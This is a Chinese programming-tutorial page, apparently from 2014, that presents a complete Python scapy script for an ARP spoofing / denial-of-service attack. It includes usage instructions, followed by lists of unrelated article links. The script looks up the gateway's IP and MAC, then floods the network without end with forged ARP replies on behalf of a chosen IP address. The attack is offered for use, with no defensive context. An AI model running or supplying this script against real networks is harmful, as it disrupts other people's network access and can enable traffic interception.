python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
python计数排序和基数排序算法实例
Apr 25 Python
Windows下Eclipse+PyDev配置Python+PyQt4开发环境
May 17 Python
Python的消息队列包SnakeMQ使用初探
Jun 29 Python
python django使用haystack:全文检索的框架(实例讲解)
Sep 27 Python
matplotlib中legend位置调整解析
Dec 19 Python
儿童学习python的一些小技巧
May 27 Python
python占位符输入方式实例
May 27 Python
Django之编辑时根据条件跳转回原页面的方法
Aug 21 Python
python logging 日志的级别调整方式
Feb 21 Python
打印tensorflow恢复模型中所有变量与操作节点方式
May 26 Python
解决tensorflow 释放图,删除变量问题
Jun 23 Python
pip已经安装好第三方库但pycharm中import时还是标红的解决方案
Oct 09 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
PHP 一个随机字符串生成代码
2010/05/26 PHP
Smarty的配置与高级缓存技术分享
2012/06/05 PHP
php实现模拟登陆方正教务系统抓取课表
2015/05/19 PHP
PHP实现多关键字加亮功能
2016/10/21 PHP
/etc/php-fpm.d/www.conf 配置注意事项
2017/02/04 PHP
php+redis实现消息队列功能示例
2019/09/19 PHP
js中匿名函数的N种写法
2010/09/08 Javascript
jQuery教程 $()包装函数来实现数组元素分页效果
2013/08/13 Javascript
JS设置网页图片vspace和hspace属性的方法
2015/04/01 Javascript
在JavaScript中处理时间之getHours()方法的使用
2015/06/10 Javascript
Bootstrap表单布局样式源代码
2016/07/04 Javascript
Bootstrap 下拉多选框插件Bootstrap Multiselect
2017/01/22 Javascript
微信小程序-滚动消息通知的实例代码
2017/08/03 Javascript
fetch 使用及如何接收JS传值
2017/11/11 Javascript
微信小程序自定义组件封装及父子间组件传值的方法
2018/08/28 Javascript
angularJs利用$scope处理升降序的方法
2018/10/08 Javascript
微信小程序实现消息框弹出动画
2020/04/18 Javascript
基于NodeJS开发钉钉回调接口实现AES-CBC加解密
2020/08/20 NodeJs
[03:18]【TI9纪实】社区大触GL与木木
2019/08/25 DOTA
详解Python的Django框架中的templates设置
2015/05/11 Python
详解Django通用视图中的函数包装
2015/07/21 Python
利用Python破解验证码实例详解
2016/12/08 Python
python中requests和https使用简单示例
2018/01/18 Python
解决Python计算矩阵乘向量,矩阵乘实数的一些小错误
2019/08/26 Python
解决pytorch报错:AssertionError: Invalid device id的问题
2020/01/10 Python
PyTorch-GPU加速实例
2020/06/23 Python
浅析HTML5:'data-'属性的作用
2018/01/23 HTML / CSS
美国蔬菜和植物种子公司:Burpee
2017/02/01 全球购物
Yves Rocher捷克官方网站:植物化妆品的创造者
2019/07/31 全球购物
俄罗斯护发和专业化妆品购物网站:Hihair
2019/09/28 全球购物
泰国国际航空公司官网:Thai Airways International
2019/12/04 全球购物
前厅收银主管岗位职责
2014/02/04 职场文书
2014年车间工作总结
2014/11/21 职场文书
婚礼男方父母答谢词
2015/09/29 职场文书
教师外出学习心得体会
2016/01/18 职场文书
使用golang编写一个并发工作队列
2021/05/08 Golang